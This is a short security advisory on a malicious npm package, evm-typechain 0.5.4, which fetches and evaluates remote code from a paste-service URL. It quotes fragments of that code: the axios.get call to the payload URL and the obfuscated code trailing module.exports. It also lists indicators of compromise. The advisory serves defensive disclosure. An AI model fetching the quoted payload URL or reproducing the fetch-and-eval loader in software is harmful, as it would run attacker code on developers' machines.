GCVE-110-OSM-2026-7237

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published July 3, 2026

Malicious package detected. Behaviors: data exfiltration, network activity, obfuscated code. ENTRY index.js (default-index: index.js) EXFIL - Fetch and Eval/Exec in index.js: "axios.get( 'https://www.jsonkeeper.com/b/PC5CK' ); if (!res || !res.data) return..." - Payload Download from Paste Service in index.js: "jsonkeeper.com" - Network Request in index.js: "axios.get(" OBFUSCATION - Trailing Code After Module Exports in index.js: "module.exports = leanhooksPlugin; a" - Strings Extracted from Deobfuscated Code in index.js ADDITIONAL FINDINGS - Brand New Package - Publisher Has Other Malicious Packages PAYLOAD FILES index.js INDICATORS (IOCs) - domains: blockterralab.com - emails: austen.lenihan@blockterralab.com - payloadFileHash: 384918838cd2130c625021673c2fd038d1254f85fdfee8009231781f7c0b41f3

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	evm-typechain	0.5.4 (affected)	—

References

Malicious npm package: evm-typechain

advisory

vendor

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